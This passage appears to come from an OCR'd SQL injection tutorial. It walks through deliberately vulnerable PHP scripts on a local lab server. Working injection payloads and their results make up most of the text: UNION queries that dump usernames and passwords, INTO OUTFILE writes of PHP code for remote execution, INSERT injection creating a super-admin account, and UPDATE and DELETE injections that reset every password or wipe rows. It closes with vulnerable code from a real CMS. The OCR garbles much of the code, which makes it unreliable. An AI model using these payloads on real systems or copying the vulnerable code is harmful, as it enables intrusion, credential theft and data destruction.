
Read More:

http://dev.mysal.com/doc/refman/5.1/en/union.html
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Category Table:

CREATE TABLE "category (
"CATEGORY_ID" int(10) unsigned NOT NULL AUTO_INCREMENT,
"CATEGORY_NAME'" varchar(50) NOT NULL DEFAULT ",
PRIMARY KEY (CATEGORY_ID")

)

Categorylnjection.php:

<?php

$mysqlcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysqlerror());
$categoryIlD = $_GET['ID'];

mysql_select_db("mydb", $mysqlcon ) or die(mysqlerror());

$categorysql = "SELECT CATEGORY_NAME FROM CATEGORY WHERE CATEGORY_ID =" . $categoryID .

i,
’

echo '<B>'.'SQL QUERY: '.'</B>' . $categorysql . "<br />" . "<br />";
$category = mysql_query($categorysql, $mysqlcon) or die(mysqlerror());
while($row = mysql_fetch_array($category, MYSQL_ASSOCQC)) {

echo "Category Name: " . $Srow["CATEGORY_NAME"];
}

mysql_close($mysqlcon);

7>

CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first
argument is the separator for the rest of the arguments. The separator is added between the strings to be
concatenated. The separator can be a string, as can the rest of the arguments. If the separator is NULL, the

result is NULL.

SELECT CONCAT WS(':', 'Username', 'Password');

Username:Password
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URL (GET Request):

http://10.0.0.4/SQLInjection/CategoryInjection.php?I1D=1'%20UNION%20SELECT%20CONCAT_WS(':,
%20USER_NAME,%20PASSWORD)%20FROM%20USERS%20WHERE%20USER_1D%20=%20'1

w http://10.0.0.4/SQLInjection/Categorylnjection.php?ID=1'%20UNION%20SELECT%20CONCAT_WS(':',%20USER_NAME, %20PASSW( _ 0 X
Eile Edit View Bookmarks Widgets Tools Help

« 4« % » (4 [} ~ [ nitp:/10.0.0.4/50LInjection/Categoryinjection.php?ID—1'%2 0UNION%2 0SELECT%20CONCAT_ Y

SQL QUERY: SELECT CATEGORY NAME FROM CATEGORY WHERE CATEGORY ID ='l' UNION SELECT CONCAT WS
(', USER_NAME, PASSWORD) FROM USERS WHERE USER ID ='1'

Category Name: WORLD NEWSCategory Name: admin:crackwhOre

- CH - C 100% v
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SELECT Statement Injection [Example]

Section Table:

CREATE TABLE section” (
"SECTION_ID" int(10) unsigned NOT NULL AUTO_INCREMENT,
"SECTION_NAME'" varchar(45) NOT NULL DEFAULT ",
"SECTION_CODE'" varchar(3) NOT NULL DEFAULT ",
"CATEGORY_CATEGORY_ID" int(10) unsigned NOT NULL DEFAULT '0,
PRIMARY KEY ("SECTION_ID"),
KEY 'FK_CATEGORY_CATEGORY_ID" (CATEGORY_CATEGORY_ID"),
CONSTRAINT "FK_CATEGORY_CATEGORY_ID" FOREIGN KEY
(CATEGORY_CATEGORY_ID") REFERENCES “category’ (CATEGORY_ID")

)

Sectionlnjection.php:
<?php

$mysqlcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysglerror());
$sectionID = $_GET['ID'];

mysql_select_db("mydb", $mysqglcon ) or die(mysglerror());

$sectionsqgl = "SELECT * FROM SECTION WHERE SECTION_ID ="' . $sectionID . "";
echo '<B>'.'SQL QUERY: '.'</B>' . $sectionsql . "<br />" . "<br />";

$section = mysql_query($sectionsql, $mysqglcon) or die(mysglerror());

while($row = mysql_fetch_array($section, MYSQL_ASSOC)) {

echo "Section Name: " . $row["'SECTION_NAME"];
}

mysql_close($mysqlcon);

>
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URL (GET Request):

http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'%20UNION%20SELECT%201%20FROM
%20USERS%20WHERE%20USER_ID%20=%20'1

w http://10.0.0.4/5QLInjection/Sectioninjection.php?ID=1'%20UNION%20SELECT%201%20FROM%20USERS5%20WHERE%20USER_ID _ O X
File Edit View Bookmarks Widgets Tools Help

) 3|
¥ http://10.0.0.4/50... L+

L

« 4« % » (% [ ~ 5 bttp://10.0.0.4/5qLInjection/Sectioninjection.php?ID=1'%20UNION%20SELECT%201%20FRO! v

SQL QUERY: SELECT * FROM SECTION WHERE SECTION ID = '1' UNION SELECT 1 FROM USERS WHERE USER ID
= lll

Warning: mysql cquery() [http://www.mysql.com/doc]: The used SELECT statements have a different number of columns in
C:\apache2triad\htdocs\SQLInjection\SectionInjection.php on line 13

Fatal error: Call to undefined function: mysqlerror() in C:\apache2triad\htdocs\SQLInjection\SectionInjection.php on
line 13

8 BH~ QO 100% v
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URL (GET Request):

http://10.0.0.4/SQLInjection/Sectionlnjection.php?ID=1'%20UNION%20SELECT
%201,%201,%201%20FROM%20USERS%20WHERE%20USER_ID%20=%20'"1

w http://10.0.0.4/SQLInjection/Sectioninjection.php?ID=1'%20UNION%20SELECT %201, %201,%201%20FROM%20USERS%20WHERE _ [0 X
Eile Edit View Bookmarks Widgets Tools Help

c x|
. $ http://10.0.0.4/5Q... ©

4

« 4 9 » (9 [G) # X http://10.0.0.4/5QLinjection/Sectioninjection.php?ID=1'%20UNION%20SELECT%201,%201,% v

SQL QUERY: SELECT * FROM SECTION WHERE SECTION_ID = 'l' UNION SELECT 1, 1, 1 FROM USERS WHERE
USER ID ='1"

Warning: mysql query() [http://www.mysqgl.com/doc]: The used SELECT statements have a different number of columns in
C:\apache2triad\htdocs\SQLInjection\SectionInjection.php on line 13

Fatal error: Call to undefined function: mysqlerror() in C:\apache2triad\htdocs\SQLInjection\SectionInjection.php on
line 13

- CH - Q 100% ~
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URL (GET Request):
http://10.0.0.4/SQLInjection/Sectionlnjection.php?ID=1'%20UNION%20SELECT
%201,%201,%201%20,%201%20FROM%20USERS%20WHERE%20USER_ID%20=%20'1

w http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'%20UNION%20SELECT%201, %201, %201%20,%201%20FROM%20USERS®% _ O X

Eile Edit View Bookmarks Widgets Tools Help

[ x
; htp://10.0.0.4/5Q. — (
« 4 9 » (9 [G) # X http://10.0.0.4/5QLinjection/Sectioninjection.php?ID=1'%20UNION%20SELECT%201,%201,% v v

SQL QUERY: SELECT * FROM SECTION WHERE SECTION_ID = '1' UNION SELECT 1, 1,1, 1 FROM USERS WHERE
USER ID ='1"

Section Name: Iraq WarSection Name: 1

B BH - Q 100% v

In most databases Integers will be cast to a String if the matching column in the SELECT statement of the

UNION Query is a String. Some databases are stricter than others on column data types matching and

casting between different types.
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URL (GET Request):
http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'%20UNION%20SELECT%20'characterString’,
%20'characterString',%20'characterString',%20'characterString'%20FROM%20USERS%20WHERE
%20USER_1D%20=%20"1

w http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'%20UNION%20SELECT%20'characterString', %20'characterString',%20'ch _ o X
Eile Edit View Bookmarks Widgets Tools Help

H« & 5 » Lﬁ m #° 3 http://10.0.0.4/S0LInjection/Sectioninjection.php?ID=1'%2 0UNION%2 0SELECT%20'characters » v

SQL QUERY: SELECT * FROM SECTION WHERE SECTION ID ='1' UNION SELECT 'characterString’, 'characterString’,
‘characterString', 'characterString' FROM USERS WHERE USER ID ="'1'

Section Name: Iraq WarSection Name: characterString

B BH - O 100% v
It appears that the MySQL Server | have setup on my Windows box is not strict about column data types at

all and will allow an Integer column to be matched with a String.
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URL (GET Request):

http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'UNION%20SELECT%201,%20CONCAT_WS(':',
%20USER_NAME,%20PASSWORD),%201,%201%20FROM%20USERS%20WHERE %20USER_|D%20=

%20'4

w http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'UNION%20SELECT%201, %20CONCAT_WS(':',%20USER_NAME, %20PASSW( _ 0 X
Eile Edit View Bookmarks Widgets Tools Help

4 4 % » (% [a) ~ 5 nttp:r10.0.0.4/50LInjection/Sectioninjection.php?ID=1"UNION%20SELECT%201,%20CONCAT | v v

SQL QUERY: SELECT * FROM SECTION WHERE SECTION ID ='"1'UNION SELECT 1, CONCAT WS(":', USER NAME,
PASSWORD), 1, 1 FROM USERS WHERE USER ID = '4'

Section Name: Iraq WarSection Name: nico _crackhead:1a533db2905c58b50965affa25895ab0

B BH - Q 100% v

We inject a UNION statement with the equal (and correct data type) amount of columns and select and

concatenate a username and password from the USERS table and return it as a single column.
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SELECT Statement Injection - Remote Code Execution

URL (GET Request):

http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'UNION%20SELECT%201,%20'h4x0red',
%201,%201%20FROM%20USERS%20WHERE%20USER_1D%20=%20'4'%20INTO%200UTFILE
%20'h4x.txt

w http://10.0.0.4/SQLInjection/SectionInjection.php?ID=1'UNION%20SELECT%201,%20'h4x0red', %201, %201%20FROM%20USERS% — 0 X
Eile Edit View Bookmarks Widgets Tools Help

A | K Transfers 2:33

4 @ 5 @ ﬁj m #° |3 http://10.0.0.4/50LInjection/Sectioninjection. php?ID=1"UNION%205ELECT%201,%20'h4x0red' = -

SQL QUERY: SELECT * FROM SECTION WHERE SECTION ID = '"1'UNION SELECT 1, 'h4x0red', 1, 1 FROM USERS
WHERE USER ID = '4' INTO OUTFILE 'hdx.txt'

Warning: mysql query() [http://www.mysql.com/doc]: Access denied for user 'aelphaeis'@'%’ (using password: YES) in C:
\apache2triad\htdocs\SQLInjection\SectionInjection.php on line 13

Fatal error: Call to undefined function: mysqlerror() in C:\apache2triad\htdocs\SQLInjection\SectionInjection.php on
line 13

- G- CQ 100% v

The MySQL user 'aelphaeis’ is denied access to write a file to disk. This is because the user account has not

been granted the permissions needed to do so.
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.:!_.:MVSQL Administrator - root@localhost:666
File Edit Yew Tools Window Help

=10 %]

3@ Server Information . L . :
57 General Parameters | MylSAM Parameters | InnoDB Parameters F‘erformancel Log fllesl Feplication | Metworking  Security IAdvancedI
E‘t{ Service Contral ) )
oy _@ Security
@{ Startup Wariables Configure the startup vaniables. Mote that changes will hawe no effect until you restart the server.
;:ﬁa User Administration
i . —Security
_#‘_ Server Connections
: [~ Safe User Create Don't allow new uzer creation by the user who has no wiite privileges to the
".,';_‘é Health mysgl user table.
—Ejlﬂ ServerLogs [ Disable grant kables Start without grant tables. This gives all users FULL ACCESS to all tables!
ﬁ Replication Status
o F [ Make all tables read-only Make all tables read-only, with the exception of replication (zlave] threads and
[\Lﬂﬂ Backup uzers with the SUPER privilege.
e
KJ,‘-?-” Restare [~ Deactivate show database Don't allow 'SHOW DATABASE' commands
'{.-"J.-' Catalogs
[~ Usze old passwords Use old pagsword enciyption method [needed for 4.0 and older clients].
[T Secure authentication Dizallow authentication for accounts that have old [pre-4.1] passwaords.
[+ Enablz load data local infils Enable/dizable LOAD DATA LOCAL INFILE
Option File: C:%Pragram Files [+26]4MpS AL pSOEL Server 5.1 %my.ini AR —— [ TH—
[ 4

We enabled functions that need FILE Permissions to run.

And then grant the privileges needed to be user to use them.

show grants for 'aelphaeis’

| Grants for aelphasisEh |
GRAMT USAGE OM ** TO ‘aclphaeiz'@'%' IDEMTIFIED BY PASSWORD *2470COCORDEE 42FD1618EBE9002A D CAZECADTET S
GRAMT SELECT, IMSERT, UFDATE. DELETE. CREATE, DROP, REFEREMCES., INDEX, ALTER, CREATE TEMPORARY TAB. .

GRANT ALL PRIVILEGES ON mydb.* FOR 'aelphaeis'’

show grants for 'aelphaeis’

| [arantz for aelphagis @iz
GRAMT USAGE OM 7 TO ‘aelphaeisi@’X’ IDEMTIFIED BY PASSWORD “2470COC0OEDEE42FD1618BEBI3005ADCAZECADTETS
GRAMT ALL PRIVILEGES OM “rmypdb”.* TO 'aelphasiz'@"%" wWITH GRANT OPTION

Of course in the real world granting ALL privileges to a user is asking for trouble if they do not need them.

If a program needs to use a MySQL FILE Function then you can just GRANT them FILE permissions.
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URL (GET Request):

http://10.0.0.4/SQLInjection/SectionInjection.php?ID=-666'%20UNION%20SELECT%201,%20'phpcode’,
%201,%201%20INTO%200UTFILE%20'C://apache2triad//htdocs//h4x.ixt'%20FROM%20USERS
%20WHERE%20USER_1D%20=%20'1

w http://10.0.0.4/SQLInjection/SectionInjection.php?ID=-666'%20UNION%20SELECT%201,%20'phpcode’,%201,%201%20INT0%200 _ 0 X
Eile Edit View Bookmarks Widgets Tools Help

4« € % » (4 [a) ~ [ nttp:/10.0.0.4/50LInjection/Sectioninjection. php?ID=-666'%20UNION%20SELECT%201,%20p v v

SQL QUERY: SELECT * FROM SECTION WHERE SECTION ID = '-666' UNION SELECT 1, 'phpcode’, 1, 1 INTO OUTFILE
'C:ffapache2triad//htdocs//h4x.txt' FROM USERS WHERE USER ID ="'1"

B BH - A 100% ~

If we open h4x.txt you should find the file is empty, this is because the where clause of the UNION will return

false as there is no with the ID of 1 because that user was deleted from the database.
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URL (GET Request):

http://10.0.0.4/SQLInjection/SectionInjection.php?ID=-666'%20UNION%20SELECT%201,%20'phpcode’,
%201,%201%20INTO%200UTFILE%20'C://apache2triad//htdocs//h4x.ixt'%20FROM%20USERS
%20WHERE%20USER_1D%20=%20'2

w http://10.0.0.4/SQLInjection/Sectioninjection.php?ID=-666'%20UNION%20SELECT%201,%20'phpcode’,%201,%201%20INT0%200 _ 0 X
Eile Edit View Bookmarks Widgets Tools Help

4« 4 % » % [ ~ 5 ntp:10.0.0.4/50LInjection/Sectioninjection.php?ID=-666'%20UNION%20SELECT%201,%20'p v -

SQL QUERY: SELECT * FROM SECTION WHERE SECTION_ID = -666' UNION SELECT 1, 'phpcode’, 1, 1 INTO OUTFILE
'C:/fapache2triad//htdocs//h4x.txt' FROM USERS WHERE USER ID = '2

Warning: mysql fetch array(): supplied argument is not a valid MySQL result resource in C:\apache2triad\htdocs
\SQLInjection\SectionInjection.php on line 15

B BH~ QO 100% v

Contents of h4x.txt

1 phpcode 1 1

Well now we have written our own text into a file. But how can this be used for command execution.

This is just an example of a file write to the disk, in the next example we will write PHP Code to be executed.
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PHP Code:

<?php echo "<B>PHP Code Executed ...</B>"; 7>

URL (GET Request with URL Encode for PHP Code):
http://10.0.0.4/SQLInjection/SectionInjection.php?ID=-666'%20UNION%20SELECT%201,%20'%3C ?php
%20ech0%20%22%3CB%3EPHP%20Code%20Executed%20...%3C/B%3E %22;%20?%3E',
%201,%201%20INTO%200UTFILE%20'C://apache2triad//htdocs//h4x.php'%20FROM%20USERS
%20WHERE%20USER_ID%20=%20'2

w http://10.0.0.4/SQLInjection/Sectioninjection.php?ID=-666'%20UNION%20SELECT%201,%20'%3C?php%20echo%20%22%3CB%3l _ o0 X

Eile Edit View Bookmarks Widgets Tools Help

4 @ % » (49 [ # [X http://10.0.0.4/50LInjection/Sectioninjection.php?ID=-666'%20UNION%:20SELECT%201,%20'% v -

SQL QUERY: SELECT * FROM SECTION WHERE SECTION_ID = -666' UNION SELECT 1, 'PHP Code Executed ..."; ?>', 1,
1 INTO OUTFILE 'C:iiapﬁcheZmadfﬂltdoCsiﬂltlx,php' FROM USERS WHERE USER ID = '2'

Warning: mysql fetch array(): supplied argument is not a valid MySQL result resource in C:\apache2triad\htdocs
\SQLInjection\SectionInjection.php on line 15

B« BH - | Q 100% v

h4x.php Contents:

1 <?php echo "<B>PHP Code Executed ...</B>"; 7> 1 1
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URL (GET Request):

http://10.0.0.4/h4x.php

| » http://10.0.0.4/hax.php - Opera _o X
Eile Edit View Bookmarks Widgets Tools Help

N htip 0.4/50.. | " hitp:/110.0.0.4/hax... “To
4« @« 3 » (%) Eﬂ # |3 http:/10.0.0.4/hdx.php - -
1 PHP Code Executed ... 11

- G- CQ 100% v
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Injection [INSERT Statement]

Priv_Users Table:

CREATE TABLE “priv_users” (
"PRIV_USER_ID" int(10) unsigned NOT NULL AUTO_INCREMENT,
"USER_NAME'" varchar(50) NOT NULL DEFAULT ",
"PASSWORD" varchar(50) NOT NULL DEFAULT ",
"SUPER_ADMIN' tinyint(1) NOT NULL DEFAULT '0',
"EMAIL" varchar(80) DEFAULT NULL,
PRIMARY KEY ("PRIV_USER_ID")

)

RegisterPrivUser.html:

<b>PRIV USER REGISTRATION</B>

<BR>

<BR>

<form action="RegisterPrivUser.php" method="post">
*Username: <input type="text" name="username_register" />
<BR>

*Password: <input type="password" name="password_register" />
<BR>

<BR>

Email (Optional): <input type="text" name="email_register" />
<BR>

<BR>

<input type="submit" value="REGISTER" />

</form>
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RegisterPrivUser.php:

<?php

$mysqlcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysglerror());
$username = $_POST['username_register'];

$password = md5($_POST['password_register']);

$email = $_POST['email_register'];

$super_admin = 'false’;

mysql_select_db("mydb", $mysqlcon ) or die(mysglerror());

$checkusersql = "SELECT USER_NAME FROM priv_users WHERE USER_NAME ="' . $username .

m,
3

$insertusersql = "INSERT INTO priv_users(USER_NAME, PASSWORD, EMAIL, SUPER_ADMIN)
VALUES (" . Susername . ", " . $password . "', " . $email . ™, " . $super_admin . ")";

$result = mysql_query($checkusersql, $mysqlcon) or die(mysglerror());
if (mysql_numrows($result) !=0)

echo '<FONT COLOR="#FF0000">'.'USERNAME ALREADY EXISTS IN DATABASE.".
'<S/FONT>' . "<BR>" . "<BR>",

}
else
{
$insertresult = mysql_query($insertusersql, $mysqglcon) or die(mysglerror());
if($insertresult == 1)
{
echo "<br />" . "<br />" . "INSERT RESULT: Priv User Account Created";
}
}

echo '<B>'.'SQL QUERY: '.'</B>' . $checkusersql . "<br />" . "<br />";

echo '<B>'.'SQL INSERT STATEMENT: '.'</B>' . $insertusersql . "<br />" . "<br />";

mysql_close($mysqlcon);

7>
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HTML Form POST:

Value Name Value Data
username_register hacked_superadmin
password_register

email_register h4x@gmail.com’, 1) #

H & 5 » ;ﬂ m #~ | http://10.0.0.4/50LInjection/RegisterPriviUser.php v v

SQL QUERY: SELECT USER NAME FROM priv_users WHERE USER NAME = 'hacked superadmin’

SQL INSERT STATEMENT: INSERT INTO priv_users(USER_NAME, PASSWORD, EMAIL, SUPER ADMIN) VALUES
(‘hacked superadmin', 'd41d8cd98f00b204e9800998ecf8427¢", 'hdx@gmail.com’, 1) #', false)

INSERT RESULT: Priv User Account Created

i G- Q 100% v
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HTML Form POST:

Value Name Value Data
username_register priv_user

password_register

email_register priv_user@gmail.com’, 0), (‘priv_user2', 'password',

'priv_user2@gmail.com’, 1) #

4 € % » 19 [a) ~ ¥ http:/10.0.0.4/S0LInjection/RegisterPrivUser.php = z

SQL QUERY: SELECT USER NAME FROM priv_users WHERE USER NAME = 'priv_user’

SQL INSERT STATEMENT: INSERT INTO priv users(USER_NAME, PASSWORD, EMAIL, SUPER ADMIN) VALUES
("priv_user’, 'd41d8cd98f00b204e9800998ecf8427¢’, 'priv_user@gmail.com’, 0), (‘priv_user2', '‘password’,
‘priv_user2@gmail.com’, 1) #', false)

INSERT RESULT: Priv User Account Created h

B« BH - | Q 100% v

In the example above we inject into the INSERT statement and append an extra row to be added with that

INSERT statement.
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INSERT Subquery Injection [Example]

HTML Form POST:

Value Name Value Data
username_register priv_user3
password_reqister

email_register email@gmail.com’, 0), ('loginuserpass’, 'password’,
(SELECT CONCAT_WS(":', USER_NAME,
PASSWORD) FROM USERS WHERE USER_ID =
5), 1) #

« €« 3 » (%) m #° | # http://10.0.0.4/5QLInjection/RegisterPrivUser.php - -
SQL QUERY: SELECT USER NAME FROM priv_users WHERE USER NAME = 'priv_user3'
SQL INSERT STATEMENT: INSERT INTO priv_users(USER NAME, PASSWORD, EMAIL, SUPER ADMIN) VALUES
("priv_user3', 'd41d8cd98f00b204e9800998ecf8427¢’, 'email@gmail.com’, 0), (loginuserpass', '‘password', (SELECT
CONCAT WS(":', USER NAME, PASSWORD) FROM USERS WHERE USER ID = 5), 1) #', 0)
INSERT RESULT: Priv User Account Created
N

@ BH - Q 100% v
Database Users Table Row:
Username Password SUPER_ADMIN EMAIL

loginugerpazs | passwaord 1 donkeytrOn:3adf 161 44f471 1 23tbc A0dzb 4621 04f
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Injection [UPDATE Statement]

ChangeUserPassword.html:

<b>CHANGE USER PASSWORD</B>

<BR>

<BR>

<form action="ChangeUserPassword.php" method="post">
Username: <input type="text" name="username" />

<BR>

<BR>

Password: <input type="password" name="password" />
<BR>

<BR>

New Password: <input type="password" name="password1" />
<BR>

Confirm: <input type="password" name="password2" />
<BR>

<input type="submit" value="UPDATE PASSWORD" />
</form>
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ChangeUserPassword.php:
<?php

$mysqlcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysglerror());

$username = $ POST['username'];
$password = md5($_POST['password']);
$passwordl = md5($_POST['password1']);
$password2 = md5($_POST['password2']);

if($password1 == $password2)

{
$password_new = $password1;

}

else

{
echo "<BR>" . "Entered Values in New Password Fields do not match." . "<BR>" . "<BR>";
die();

}

mysql_select_db("mydb", $mysqlcon ) or die(mysqlerror());

$checkpasssql = "SELECT USER_NAME FROM users WHERE USER_NAME ="' . $username . """ . "
AND PASSWORD ="' . $password . """;
$updatepasssql = "UPDATE users SET PASSWORD ="' . $password_new . " WHERE USER_NAME =

m nn

. $username . """ ;

echo '<B>'.'SQL QUERY: '.'</B>' . $checkpasssql . "<br />" . "<br />";
echo '<B>'.'SQL UPDATE STATEMENT: '.'</B>" . $updatepasssql . "<br />" . "<br />";

$result = mysql_query($checkpasssql, $mysqlcon) or die(mysqlerror());

if (mysql_numrows($result) !=0)

{
$updateresult = mysql_query($updatepasssql, $mysqlcon) or die(mysglerror());
if($updateresult == 1)
{
echo "<br />" . "<br/>" . "UPDATE RESULT: User Account Password Updated.";
}
}
else
{

echo '<FONT COLOR="#FF0000">"' . 'INCORRECT PASSWORD, PASSWORD UPDATE
DENIED.'. '</FONT>". "<BR>" . "<BR>";
}

mysql_close($mysqlcon);
7>
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HTML Form POST:

Value Name Value Data
username username’' OR 'x'='x"' #
password
password1 newpassword
password2 newpassword
Database Table BEFORE UPDATE Injection:
LISER_MARME | PASSWORD ErAIL
E dmin crackwhilre admin@localhost. fet
2 Sanders KFChick.3n colonelzandersi@freemazony. arg
3 ToryBlair summonthelighteachmorning tony. blair@occultobsession. ong
4 nico_crackhead 1ab33db2305:58bh0565alfa25855ab0
5 donkeytOn fBEbab¥Eal40fd1 85267 33b3eeB3EIE hackedi@email. com
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Eile Edit View Bookmarks Widgets Tools Help

H & & » L‘d m #7 < http://10.0.0.4/50LInjection/ChangeUserPassword.php

=

N

UPDATE RESULT: User Account Password Updated.

SQL QUERY: SELECT USER NAME FROM users WHERE USER_NAME = 'username' OR 'x'="xX' #' AND PASSWORD
='d41d8cd98f00b204e9800998ecf8427¢’

SQL UPDATE STATEMENT: UPDATE users SET PASSWORD = '8fe36c7ccbc51163bde9b2566898496b' WHERE
USER NAME = 'username’' OR '¥'="x' #'

Database Table BEFORE UPDATE Injection:

B BH~ O 100% ¥

| PasswORD

EMaIL

I % USER_ID | USER_MAME
A T e
2 Sanders
3 TorwBlar
4 nico_crackhead
5 donkeytrin

Page 89

Bfedbcy oot 163bdeab 2566334960
Bfe36c7ccbe5l163bde3b256683534 960
Bfed6c/ccbehl 163bde9b 25662334960
Bfe36cycobehl165bde3b256683584 360
Bfe36c/ccbehl 163bde9b25668384 960

admiri@localhost. net
colonelzanders@freemasonm. arg

torny. blairi@occultobsession. arg
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UPDATE Statement Injection [Example]

ChangeUserEmail.html:

<b>CHANGE USER EMAIL</B>

<BR>

<BR>

<form action="ChangeUserEmail.php" method="post">
Username: <input type="text" name="username" />
<BR>

<BR>

Password: <input type="password" name="password" />
<BR>

<BR>

New Email Address: <input type="text" name="emaill" />
<BR>

Confirm Email: <input type="text" name="email2" />
<BR>

<input type="submit" value="UPDATE EMAIL" />
</form>
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ChangeUserEmail.php:
<?php

$mysqlcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysglerror());
$username = $ POST['username'];

$password = md5($_POST['password']);

if($_POST['email1'] == $_POST['email2'])

{
$email = $§ POST['emaill'];

}

else

{
echo "<br />" . "<br />" . "New Email and Confirmation do not match." . "<br />" . "<br />";
die();

}

mysql_select_db("mydb", $mysqlcon ) or die(mysglerror());

$updateemailsql = "UPDATE USERS SET EMAIL =" . $email . " WHERE USER_NAME ="
$username . " AND PASSWORD ="". $password . "";

$result = mysql_query($updateemailsql, $mysqglcon) or die(mysglerror());
if (mysql_numrows($result) < 1)

{ echo '<FONT COLOR="#FF0000">' . ' USERNAME/PASSWORD COMBINATION
INCORRECT.".'</FONT>". "<br />" . "<br />";

}

else

{
echo "<br />" . "<br />" . "UPDATE RESULT: USER: " . $username . " EMAIL UPDATED.";

}
echo '<B>'.'SQL UPDATE STATEMENT: '.'</B>" . $updateemailsql . "<br />" . "<br />";

mysql_close($mysqlcon);

>
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Database Table BEFORE UPDATE Injection:

| ¥ USER_ID | USER_MAME | FaSSWORD EraIL

o ~1¢ admin crackwhire admin@localbost. net
2 Sanderz FFChick3n colonelzanderz@freemagzonmy. arg
3 TorwBlair summonthelighteachmaorming tarw. blaireoccultobseszion. org
4 nico_crackhead 1ab33db2305c58050965aff a25855ab0
5 donkeytrOn Badf1167 44f411 29fbc 7E0dcbAE21 D4f

If we wish to insert a username and password into the database, we can use something like the below code
to do so.,

We will need to insert the MD5 hash of a password, Being that on a web application level the user

credentials that are checked are the username and the MD5 hash of the password.

String2MD5.php:
<?php

$pwstring = $_GET['pwstring'];

echo "<B>Password String: </B>" . $pwstring . "<BR><BR>";
echo "<B>MD?5 Hash of String: </B>" . md5($pwstring) . "<BR><BR>";

7>
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HTML Form POST:

Value Name Value Data

username crackhead

password

emaill hacked@email.com', PASSWORD =

'f86bab76a040fd185c26789b3ee896f6' WHERE
USER_NAME = 'donkeytrOn' #

email2 hacked@email.com', PASSWORD =
'f86bab76a040fd185c267890b3ee896f6' WHERE
USER_NAME = 'donkeytrOn' #

“ & 5 B @ m #°  3< http://10.0.0.4/SQLInjection/ChangeUserEmail.php -

SQL UPDATE STATEMENT: UPDATE USERS SET EMAIL = 'hacked@email.com', PASSWORD =

'f86bab76a040fd185c26789b3ee896f6' WHERE USER NAME = 'donkeytrOn' #' WHERE USER NAME = 'crackhead' AND
PASSWORD = 'd41d8cd98f00b204e9800998ecf8427¢'

USERNAME/PASSWORD COMBINATION INCORRECT.

B+ BH - | Q 100% v
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Database Table AFTER UPDATE Injection:

F USER_ID | USER_MAME | PASSWORD EMAIL
iE =dmin crackwhlre admini@localhost. net
2 Sanders FFChick3n colonelzanders@reemnasonmy. ang
3 TorwBlair summaonthelighteachmorming tony. blair@occultobseszion. org
4 nico_crackhead 1ab33db2305ch8bh09E5alf a2 5895ab0
5 donkeytiOn [8Ebab7Eal40fd1 8ho26733b3eeBIEIE hackedi@email. com

If you look carefully you can see that the user 'donkeytrOn' has had their PASSWORD changed to an MD5 of

the new password.

Page 94



DELETE Statement Injection

When injecting into a DELETE Statement unless the script your attacking is connected to a MS SQL
Database (so you can batch queries) the only thing you will be able to do is delete row(s) in a table.
In the example shown, the username value in the SQL Query will be escaped and then the entire query

manipulated to be true, so all database columns in the table are deleted.

Database Table BEFORE DELETE Injection:

% USER_ID | USER_MAME | PASSWORD | ERdAIL
B b i crackihire admin@localbost. et
2 Sanders KFChick.3n colonelzanders@freemasonny. org
3 TonyBlar summonthelighteachmorning tony. blair@occultobzession.ong
4 nico_crackhead 1a533db2905:58050965affa25335ah00
5 donkeytrOn fBEbab7Ea040fd1 85c 267390 3eeB9EI6 hackedi@email.com

Page 95



DeleteUser.php:
<?php

$mysqlcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysglerror());

if (lisset($_COOKIE['usercred']))
{

echo "Session is invalid or has expired." . "<BR/>" . "<BR/>";

}

else
{
$authcred = split(":", $_COOKIE['usercred']);

$username = $authcred[0];
$userauth = $authcred[1];

mysql_select_db("mydb", $mysqlcon ) or die(mysglerror());

$deletesql = "DELETE FROM users WHERE USER_NAME ="' . $username . """ . " AND PASSWORD
=" $userauth . ";

$result = mysql_query($deletesql, $mysqlcon) or die(mysglerror());

}

echo '<B>'.'DELETE STATEMENT: '.'</B>' . $deletesql . "<br />" . "<br />";
mysql_close($mysqlcon);

>
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The point of user input in this piece of code is the cookie sent from the browser to the server.

So in this case we will have to create a cookie. | am choosing to do this with a Firefox Plug-in called Add/Edit

Cookies.

'w Add/Edit Cookie X

Information about the selected Cookie

Mame: | usercred

Content: | fuck:99754106633f94d350db34d548d6091a

Host: | 10.0.0.4

Path: |/

Send For: (% Any type of connection () Encrypted connections only

_ (®) Expire at end of session
Expires: . o
() New expiration date:

Save Close
[+ Mozilla Firefox - 4
File Edit wiew History Bookmarks Tools Help
« v = i |[8)] http:/10.0.0.4/5QLInjection/DeleteUser.php |~ | [GI=[5oogle [
DELETE STATEMENT: DELETE FROM users WHERE USER_NAME = 'fuck' AND PASSWORD =
'99754106633f94d350db34d548d60912a’

N

Done &£
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HTTP Cookie Contents:

Value Name Value Data
Name usercred
Content fuck' OR USER_ID = 1

#:99754106633f94d350db34d548d6091a

Host 10.0.0.4
Path /
w Mozilla Firefox -4
File Edit Wiew History Bookmarks Tools Help
<a v = £ |8 http:/10.0.0.4/5QLinjection/DeleteUser.php ~ | [Gl* [Google @,
DELETE STATEMENT: DELETE FROM users WHERE USER_NAME = 'fuck’ OR USER_ID = 1 # AND
PASSWORD = '99754106633f94d350db34d548d6091a’
I
Done &
Database Table AFTER DELETE Injection:
| % USER_ID | USER_MAME FPASSWORD EMAIL
& Sanderz Sfedbcfocbeh1163bdeSb2EE63984960 colonelzandersi@freemazoniy. org
3 TonyBlair Afedbic ocbohl163bdedb 25663334960 torw. blair@occultobseszion.ang
4 nico_crackhead Afedbcyccbeh1163bdeSb20EE3984960
5 donkeptriln AfedbicYocbohl163bdedb 25668334960 hacked@email com
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Examples of SQL Injection Vulnerabilities

Demo4 CMS beta01

http://downloads.sourceforge.net/demo4

File: /index.php

<?

include "./config/config.php";
include "./design/header.php";
>

<body>

<?

include "./design/nav.php";

if ($_GET['id']=="")
$id = $startpage;
else
$id = $_GET['id"];
database_connect();
$query = "SELECT * from content
WHERE id = $id";
$error = mysql_error();
if (1$result = mysql_query($query)) {
print "$error";
exit;
}
